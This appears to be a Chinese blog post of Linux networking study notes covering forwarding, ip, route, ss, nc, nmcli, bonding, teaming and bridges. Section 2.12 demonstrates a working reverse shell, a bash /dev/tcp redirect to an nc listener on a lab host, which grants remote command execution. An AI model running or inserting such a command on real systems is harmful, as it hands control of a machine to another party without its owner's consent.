当前位置:主页 > 查看内容

Linux配置网络详细笔记

发布时间:2021-08-04 00:00| 位朋友查看

简介:文章目录 一、Linux处理数据包的过程 二、Centos网络配置 1. 网卡命名配置文件 2.了解命令 2.1 查看网卡相关命令 2.2 网卡驱动相关 2.3 查看双工和速度命令 2.4 服务器如何判断网线是否连接正常 2.5 调整客户端的动态端口范围 2.6 nc工具 2.7 判断端口是否打……


参考 《Linux云计算运维》-马哥教育·王晓春

一、Linux处理数据包的过程

当Linux向外界主机发送数据时,在它从网卡流入后需要对它做路由策略,根据其目标决定是流入本机数据还是转发给其他主机

  • 1.如果是流入本机的数据,则数据会从内核空间进入用户空间(被应用程序接受、处理)。当用户空间响应(应用程序生成新的数据包)时,响应数据包是本机产生的新数据,在响应包流出之前,需要做路由决策,根据目标决定从哪个网卡流出。
  • 2.如果不是流入本机的,而是要转发给其他主机的,则必然涉及到另一个流出网卡,此时数据包必须从流入网卡完整的转发给流出网卡,这要求Linux主机能够完成这样的转发。

Linux主机和路由器不同,路由器本身就是为了转发数据包,所以路由器内部默认就能在不同网卡间转发数据包,而Linux主机默认未开启ip_forward功能,所以Linux默认不能转发,这使得待转发数据包会被丢弃。
在这里插入图片描述
另外,IP地址是属于内核的(不仅如此,整个TCP/IP协议栈都属于内核),只要能和其中一个地址通信,就能和另一个地址通信,而不管是否开启了数据包转发功能。

例如某Linux主机有两个网卡ETH0:172.16.10.5和eth1:192.168.100.20,某192.168.100.22主机网关指向192.168.100.20,若它ping172.16.10.5,结果将是通的,因为地址属于内核,从eth1进来的数据包被内核分析时,发现目标地址为本机地址,直接就回应192.168.100.22,回应数据包继续从eth1出去。
但如果不开启数据包转发功能,则这些网卡之间是无法胡同的,192.168.100.22能ping通172.160.10.5,但却无法ping通Linux主机该网卡同网段的另一台主机172.168.10.6

在linux上开启转发功能:
临时有效

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

永久有效

centos6中将/etc/sysctl.conf中的net.ipv4.ip_forward值改为1
centos7将systemd管理了除/etc/sysctl.conf还有
/etc/sysctl.d/*.conf和/usr/lib/sysctl.d/*.conf
建议写在/etc/sysctl.d/*.conf中,这是systemd提供自定义内核修改项的目录

echo "net.ipv4.ip_forward=1" >/etc/sysctl.d/ip_forward.conf

网卡类型:

  • lo:本地回环接口
  • eth0:以太网网卡。
  • ppp0:点到点网卡
  • pppoe 小区宽带
  • tr0 令牌环
  • bond0 双网卡绑定

二、Centos网络配置

1. 网卡命名配置文件

RHEL5:    /etc/modprobe.conf
RHEL6:    /etc/udev/rules.d/70-persisten-net.rules
centos7,8: /etc/sysconfig/grub.cfg      #在配置文件中禁用系统命令默认命名。
编辑grub配置文件”/etc/sysconfig/grub“:
在”GRUB_CMDLINE_LINUX“变量最后添加一句” net.ifnames=0“.
grub2-mkconfig -o /boot/grub2/grub.cfg ; 
root

上面只是改了网卡的名称,要想配置IP地址,需要到各自的配置文件中配置。配置文件中的网卡名称要与修改后的网卡名称保持一致。

临时修改网卡名称:

ip link set eth0 down
ip link set eth0 name abc
ip link set abc up

2.了解命令

2.1 查看网卡相关命令

dmesg |grep –i eth
ethtool -i eth0

2.2 网卡驱动相关

卸载网卡驱动
modprobe -r e1000
rmmod e1000

装载网卡驱动
modprobe e1000

2.3 查看双工和速度命令

[root@maple ~]# mii-tool eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
[root@maple ~]# mii-tool -v eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
  product info: Yukon 88E1011 rev 3
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  link partner: 1000baseT-HD 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

2.4 服务器如何判断网线是否连接正常

[root@maple-c7 ~]# mii-tool eth1
eth1: no link
[root@maple-c7 ~]# ethtool eth1
Settings for eth1:
        Supported ports: [ TP ]
        Supported link modes:   10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Supported pause frame use: No
        Supports auto-negotiation: Yes
        Advertised link modes:  10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Advertised pause frame use: No
        Advertised auto-negotiation: Yes
        Speed: Unknown!
        Duplex: Unknown! (255)
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: on
        MDI-X: Unknown (auto)
        Supports Wake-on: d
        Wake-on: d
        Current message level: 0x00000007 (7)
                               drv probe link
        Link detected: no
[root@maple-c7 ~]# ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:2d brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:37 brd ff:ff:ff:ff:ff:ff        

2.5 调整客户端的动态端口范围

[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range 
32768   60999
[root@maple /]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range               
20000   62000

2.6 nc工具

— arbitrary TCP and UDP connections and listens 监听一个任意的tcp和UDP连接

#服务器启动监听
[root@maple data]# nc -l 9527
#客户端连接端口
root@ubuntu1804:~# nc 10.0.0.150 9527 #输入字符,服务器端可以看到。
hello,I am ubuntu

2.7 判断端口是否打开

[root@maple data]# < /dev/tcp/127.0.0.1/80
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/80: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/2
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/2: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/22
[root@maple data]# 
[root@maple data]# 
[root@maple data]# echo $?
0

2.8 查找端口冲突的应用

[root@maple data]# nc -l 22
nc: Address already in use
[root@maple data]# ss -tlnp |grep 22
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*        users:(("sshd",pid=834,fd=4))                                                  
LISTEN    0         128                   [::]:22                  [::]:*        users:(("sshd",pid=834,fd=6))                                                  
[root@maple data]# lsof -i :22
COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd     834  root    4u  IPv4  27552      0t0  TCP *:ssh (LISTEN)
sshd     834  root    6u  IPv6  27554      0t0  TCP *:ssh (LISTEN)
sshd    1123  root    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
sshd    1136 maple    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
[root@maple data]# 

2.9 linux arp命令

[root@maple pam.d]# ip neigh
10.0.0.2 dev eth0 lladdr 00:50:56:e7:7f:3e STALE
10.0.0.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
[root@maple pam.d]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.0.2                 ether   00:50:56:e7:7f:3e   C                     eth0
10.0.0.1                 ether   00:50:56:c0:00:08   C                     eth0

2.10 arping命令探测IP是否冲突

[root@maple ~]# arping 10.0.0.151ARPING 10.0.0.151 from 10.0.0.150 eth0
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.145ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.072ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.112ms

2.11 arp静态绑定配置:

arp -s ip mac

2.12 反弹shell实现远程控制

#服务器端
[root@maple-c8 ~]# yum install -y nc
[root@maple-c8 ~]# nc -lv 6666    #监听6666端口

#客户端
[root@maple-c7 ~]# bash -i &> /dev/tcp/10.0.0.150/6666 0>&1
#服务器端:输入hostname查看
[root@maple-c8 ~]# nc  -lv 6666 
Listening on 0.0.0.0 6666
Connection received on 10.0.0.152 53358
[root@maple-c7 ~]# 
[root@maple-c7 ~]# hostname
hostname
maple-c7.maple.com

3.配置主机名:

centos6的主机名配置

hostname    HOSTNAME              #立即生效,但不是永久有效;
vim /etc/sysconfig/network          #永久有效,重启
   HOSTNAME=www.magedu.com        
   NETWORKING=yes                   #本机是否启用网络功能的开关
   NETWORKING_IPV6=no              #是否启用ipv6
   GATEWAY=                  #也可以定义网关,以网卡配置文件为准

centos7,8和ubuntu主机名设置

hostnamectl set-hostname www.maple.com   #直接生效,配置文件也会更新,退出重新登录即可。
配置文件所在地是/etc/hostname

4.网络配置命令

4.1 IP配置

ifconfig命令:来自net-tools包,不推荐使用了,建议使用ip
ifconfig [ethx]                   ##查看当前系统活动的网卡。
        -a                        #显示所有接口信息
ifconifg eth0 10.1.1.1/24         #配置立即生效,重启网络服务或主机不生效
ifocnfig eth0:1 192.168.3.253     #设置eth0的第二个IP地址
ifconfig eth0 down               #将一个接口禁用
ifconfig eth0 0                   #清除eth0上面的地址
#关闭ICMP响应 使其不返回ping响应包
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all   

4.2 route命令:

来自net-tools包,不推荐使用了,建议使用ip

路由表主要构成:

  • Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低
  • Genmask:目标网络对应的netmask
    Iface: 到达对应网络,应该从当前主机哪个网卡发送出来
  • Gateway: 到达非直连的网络,将数据发送到临近(下一个)路由器的临近本主机的接口的IP地址,如果是直连网络,gateway是0.0.0.0
  • Metric: 开销cost,值越小,路由记录的优先级最高

查看路由

route  [-n]      ##直接查看路由表
                 #-n以数字方式显示各主机或端口等相关信息

添加:route add

route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]
  -host    #主机路由
  -net     #到某一个网络的
  default  #默认路由 ,这三个选项不写,默认添加主机路由。
  
route add -net 20.0.10.0/24 gw 10.0.0.152    ##到达20.0.10.0/24网络的路由下一跳是10.0.0.152
route add -net 20.0.10.0 netmask 255.255.255.0 gw 10.0.0.152 #还可以写成netmask
route add -net 20.0.11.0/24 eth0       #到达20.0.11.0/24网络路由的出接口是eth01
route add [-host] 1.1.1.1 eth1         #添加到1.1.1.1的主机路由
route add default gw 10.0.0.2          #添加默认路由,指向网关

删除:route del

route del  [-A]        # -A指定地址类型,默认为ipv4
route del -net 10.0.0.0/8
route del -net 20.0.10.0/24
route del -net 20.0.11.0/24
route del default 
route del 1.1.1.1
route del default

范例:实现静态路由
四台主机:
A主机:eth0 NAT模式
R1主机:eth0 NAT模式,eth1 vmnet1模式
R2主机:eth1 vmnet1模式,eth0 vmnet2模式
B主机:eth0 vmnet2模式
在这里插入图片描述

A主机
ifconfig eth0 10.0.0.123/8
route add default gw 10.0.0.200

R1:
ifconfig eth0 10.0.0.200/8
ifconfig eth1 192.168.0.200/24
route add -net 172.16.0.0/16 gw 192.168.0.201
echo 1 > /proc/sys/net/ipv4/ip_forward

R2:
ifconfig eth1 192.168.0.201/24
ifconfig eth0 172.16.0.200/16
route add -net 10.0.0.0/8 gw 192.168.0.200
echo 1 > /proc/sys/net/ipv4/ip_forward

B主机:
ifconfig eth0 172.16.0.123/16
route add default gw 172.16.0.200

4.3 netstat命令:

来自net-utools包,建议使用ss替代
-r:显示路由表
-n:以数字方式显示
-t:建立的tcp连接
-u:建立的udp连接 udp显示不出来,因为是无连接的协议
-l:显示监听状态的连接
-p:显示监听指定的套接字的进程号和进程名

4.4 iproute2命令:

来自于iproute包,可用于代理ifconfig
命令说明:

OBJECT := { link | addr | route }
ip link - network device configuration
set dev IFACE,可设置属性:up and down:激活或禁用指定接口,相当于 ifup/ifdown
show [dev IFACE] [up]::指定接口 ,up 仅显示处于激活状态的接口
man帮助:ip(8), ip-address(8), ip-link(8), ip-route(8)
ip    
    link:配置网络接口链路层属性
        show                #查看网络接口地址
            ip -s link show    #显示统计发出的报文
        set    
            ip link set DEV {up|down}
            ip link set eth0 address 52:54:00:af:15:b1       #修改网卡MAC地址
    addr:配置网络层属性
        add
            ip addr add 10.2.2.2/24 dev eth1
            ip addr add 10.3.3.3/24 dev eth1 label eth1:1   #增加网卡别名实现一个网卡多个IP
        del
            ip addr del 10.2.2.2/24 dev eth1
        show
            ip addr show to 10/8
        flush
            ip addr flush dev eth0   #清除网络地址
    route:路由
            ip route add to 10.0.0.8/8 dev eth0 via 172.16.0.1
            ip route del 10.0.0.8/8

修改IP:先添加新IP,在删除旧IP

[root@maple-c8 ~]# ip a a 127.0.0.10/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet 127.0.0.10/8 scope host secondary lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
[root@maple-c8 ~]# ip a d 127.0.0.1/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.10/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

范例:设置ip地址定时消失,默认是forever
在这里插入图片描述

[root@maple-c8 ~]# ip add a 1.1.1.1/32 dev eth0 preferred_lft 20 valid_lft 30
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global dynamic eth0
       valid_lft 28sec preferred_lft 18sec
[root@maple-c8 ~]# 
#30s后消失
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

4.5 ss命令:

来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核tcp_diag 模块通信获取 socket 信息

格式

ss [OPTION]... [FILTER]

OPTION
    -t: tcp协议相关
    -u: udp协议相关
    -w: 裸套接字相关
    -x:unix sock相关
    -l: listen状态的连接
    -a: 所有
    -n: 数字格式
    -p: 相关的程序及PID
    -e: 扩展的信息
    -m:内存用量
    -o:计时器信息

FILTER : [ state TCP-STATE ] [ EXPRESSION ]
TCP的常见状态:
    tcp finite state machine:
        LISTEN: 监听
        ESTABLISHED:已建立的连接
        FIN_WAIT_1
        FIN_WAIT_2
        SYN_SENT
        SYN_RECV
        CLOSED
        
EXPRESSION:
    dport =
    sport =

常用组合
-tan,-tanl,-tanlp,-uan

常见用法

#显示本地打开的所有端口
ss -l
#显示每个进程具体打开的socket
ss -pl
#显示所有tcp socket
ss -t -a
#显示所有的UDP Socekt
ss -u -a
#显示所有已建立的ssh连接
ss -o state established '( dport = :ssh or sport = :ssh )'
#显示所有已建立的HTTP连接
[root@maple-c8 ~]# ss -o state established '( dport = :ssh or sport = :ssh )'
Netid             Recv-Q             Send-Q                         Local Address:Port                           Peer Address:Port                                                        
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:fmwp               timer:(keepalive,71580min,0)             
tcp               0                  96                                10.0.0.150:ssh                                10.0.0.1:10236              timer:(on,235ms,0)                       
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:jaus               timer:(keepalive,52sec,4) 
#显示socket详细信息
[root@maple-c8 ~]# ss -s
Total: 194
TCP:   5 (estab 3, closed 0, orphaned 0, timewait 0)

Transport Total     IP        IPv6
RAW       0         0         0        
UDP       2         1         1        
TCP       5         4         1        
INET      7         5         2        
FRAG      0         0         0  

4.6 网络配置工具nmcli

network                   #5和6使用
NetworkManager            #7使用,和network冲突
nmcli                     #nmtui命令行工具,可以实现链路聚合

依赖NetworkManager服务,此服务是管理和监控网络设置的守护进程

安装 bash-completion包可以 按tab键提示命令

nmcli命令

  • connection:逻辑连接,侧重逻辑设置。同一时间只能启用启用其中一个
  • device:网络接口,是物理设备。多个connection可以应用到同一个device

对于一个网络接口,可以设置多个网络连接,根据需要up相应的connection

格式

nmcli [ OPTIONS ] OBJECT { COMMAND | help }
device - show and manage network interfaces
    nmcli device help  #相当于 ip link
connection - start, stop, and manage network connections
    nmcli connection help   #相当于 ip a

修改配置文件属性使其生效

nmcli con reload
nmcli con up con-name

命令对比

nmcli配置文件
nmcli con modifcfg**-*** 文件
ipv4.method manualBOOTPROTO=none
ipv4.method autoBOOTPROTO=dhcp
ipv4.addresses 192.168.2.1/24IPADDR=192.168.2.1 PREFIX=24
ipv4.gateway 172.16.0.200GATEWAY=192.0.2.254
ipv4.dns 8.8.8.8DNS0=8.8.8.8
ipv4.dns-search example.comDOMAIN=example.com
ipv4.ignore-auto-dns truePEERDNS=no
connection.autoconnect yesONBOOT=yes
connection.id eth0NAME=eth0
connection.interface-name eth0DEVICE=eth0
802-3-ethernet.mac-address . . .HWADDR= . . .
nmcli dev status | show  [IFACE]   #查看设备状态,指定网卡名称会显示更多信息
nmcli con show  [CON-NAME]         #显示连接状态,指定逻辑连接名称会显示更多信息

nmcli con add con-name home-eth0 type ethernet ifname eno2    #添加网络接口, #ifname=物理接口
nmcli con up home-eth0          #启用连接之后,会自动获取IP地址
nmcli con del home-eth0           #删除逻辑连接
                                          
 nmcli con up eno2                  #启动连接
 nmcli con down eno2                #禁用连接
 
 
 nmcli con mod home-eth0
    ipv4.addresses "192.0.2.124/24 192.0.2.254"  #ip+网关
    ipv4.dns 8.8.8.8
    ipv4.method manual              #ipv4的配置方式,auto是dhcp
    ipv4.method auto                #ipv4的自动配置方式
    connection.autoconnect yes        ##每次开机自动启动网卡
    connection.id eth0
    ---


#修改连接设置
nmcli con mod “static” connection.autoconnect no
nmcli con mod “static” ipv4.dns 172.25.X.254
nmcli con mod “static”  +ipv4.dns  8.8.8.8
nmcli con mod “static”  -ipv4.dns  8.8.8.8
nmcli con mod “static” ipv4.addresses “172.16.X.10/24  172.16.X.254”
nmcli con mod “static”  +ipv4.addresses 10.10.10.10/16
#DNS设置存放在/etc/resolv.conf,PEERDNS=no 表示当IP通过dhcp自动获取时,dns仍是手动设置,
不自动获取等价于下面命令
nmcli con mod “system eth0” ipv4.ignore-auto-dns yes

4.7 nmcli配置bond

nmcli配置bond:

#添加bonding接口
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24
#添加从属接口
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0
#注:如无为从属接口提供连接名,则该名称是接口名称加类型构成
#要启动绑定,则必须首先启动从属接口
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1
#启动绑定
nmcli con up mybond0

4.8 nmcli 配置Network Teaming

网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
网络组不同于旧版中bonding技术,提供更好的性能和扩展性
网络组由内核驱动和teamd守护进程实现
网络组接口:逻辑合成的接口
port接口:物理网卡

多种方式 runner

broadcast:广播 
roundrobin:轮询
activebackup:主备
loadbalance:负载均衡
lacp (implements the 802.3ad Link Aggregation Control Protocol)
nmcli con add type team con-name myteam0 ifname team0 config '{"runner":{"name": "loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
# nmcli con up myteam0    可省,下面开启port接口会自动将网络组接口开启
nmcli con up team0-eth1
nmcli con up team0-eth2

命令配置完成之后会自动在/etc/sysconfig/network-scripts/目录下生成相关的配置文件。

#网络组接口配置文件
/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes

#port口配置文件
/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes

删除网络组

nmcli connection down team0
teamdctl team0 state
nmcli connection  delete myteam0
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection 

4.9 Linux网桥概念:

虚拟的类似交换机的东西,能够将多个网卡接口连接,使其划分一个独立的网络。相互通信相互隔离。

配置网桥:工具包:bridge-utils,目前Centos8无此包
在这里插入图片描述
服务器创建网卡配置

brctl show
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ip link set br0 up

在这里插入图片描述
brctl还支持stp的功能

brctl stp br0 on  #开启STP

删除br0

brctl delif br0 eth0
brctl delif br0 eth1
ip link set br0 down
brctl delbr br0
brctl show

nmcli命令创建网桥

nmcli connection add type bridge con-name br0 ifname br0 ipv4.method manual
nmcli connection add type bridge-slave con-name br0-eth0 ifname eth0 master br0
nmcli connection add type bridge-slave con-name br0-eth1 ifname eth1 master br0
nmcli connection up br0
nmcli connection up eth0
nmcli connection up eth1

5.网络配置文件

5.1 IP,MASK,GW,DNS相关的配置文件:

/etc/sysconfig/network-scripts/ifcfg-eth0
说明参考:
/usr/share/doc/initcripts-*/sysconfig.txt

 cat !$
    DEVICE        #关联的设备名称,要与文件名的后半部分eth0一定要保持一致。
    BOOTPROTO={static|none|dhcp|bootp}        #引导协议,使用静态地址,使用static或none。dhcp表示使用dhcp获取地址。bootp为dhcp的前身
    IPADDR=#IP地址
    NETMASK=#子网掩码
    GATEWAY=           #默认网关
    ONBOOT={yes|no}      #开机时是否自动激活此网络接口
    HWADDR=#硬件地址,要与硬件中的地址保持一致,可以省略。
    USERCTL={yes|no}    #是否允许普通用户控制此接口的启用和禁用。
    PEERDNS={yes|no}    #是否在BOOTPROTO为dhcp时接受由dhcp服务器指定的DNS地址。
    ONPARENT=yes        #(启用网卡别名)   
    DNS1=            #DNS服务器地址
    DNS2=
 DOMAIN         #主机不完整时,自动搜索的域名后缀
NM_CONTROLLED         #NM是NetworkManager的简写,此网卡是否接受NM控制

不会立即生效,但重启网络服务或主机都会生效。
centos7及一下使用service network restart重启
centos8使用
nmcli connection reload
nmcli connection eth0 down/up

5.2 本地dns配置文件

/etc/hosts

5.3 远端dns配置文件

/etc/resolv.conf
nameserver DNS1IP
nameserver DNS2IP
nameserver DNS3IP

网卡配置文件中配置的DNS地址,在使其生效时会覆盖到该文件中。
该文件改完之后立即生效

5.4 修改 /etc/hosts和DNS的优先级

/etc/nsswitch.conf
hosts: files dns

5.5 路由相关的配置文件:

/etc/sysconfig/network-scripts/route-IFACE
在这个目录下创建文件route-IFACE
两种风格:

添加格式一为:
    目的网段            via             下一跳
    192.168.1.0/24     via             10.10.10.254
添加格式二:
    ADDRESS0=192.168.1.0
    NETMASK0=255.255.255.0
    GATEWAY0=10.10.10.254 
    ADDRESS1=
    NETMASK1=
    GATEWAY1=
    永久有效

centos7和6还可以通过 /etc/sysconfig/static-routes文件添加持久静态路由

#可以看到centos7系统启动脚本中获取路由的脚本
[root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network
# Add non interface-specific static-routes.
    if [ -f /etc/sysconfig/static-routes ]; then
       if [ -x /sbin/route ]; then
           grep "^any" /etc/sysconfig/static-routes | while read ignore args ; do
                   /sbin/route add -$args
           done
       else

# 查看当前路由
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
#创建文件
[root@centos7 ~]#vim /etc/sysconfig/static-routes
[root@centos7 ~]#cat /etc/sysconfig/static-routes
any net 192.168.1.0/24 gw 10.0.0.254
any net 192.168.2.0/24 gw 10.0.0.254
[root@centos7 ~]#systemctl restart network    
#确认路由生效
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
192.168.1.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
192.168.2.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0

5.6 网卡别名:

将多个IP地址绑定到一个NIC上
每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
范例:ifconfig 命令

ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down

范例:ip 命令

ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0

为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
范例:

[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8
[root@maple-c8 ~]# nmcli connection reload
[root@maple-c8 ~]# nmcli connection down eth0
[root@maple-c8 ~]# nmcli connection up eth0
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
   inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
   RX packets 2320 bytes 200266 (195.5 KiB)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 1891 bytes 279736 (273.1 KiB)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)

注意:

建议 CentOS 6 关闭 NetworkManager 服务
网卡别名必须使用静态地址

5.7 多网卡bonding

将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP
地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址

5.7.1 Bonding 聚合链路工作模式

bond聚合链路模式共7种模式:0-6 Mode

  • mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转发。
    负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
    性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。
    需要交换机进行端口绑定

  • mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口才转发数据报文。
    容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。
    无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。

  • mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文
    负载均衡—基于指定的传输HASH策略传输数据包。
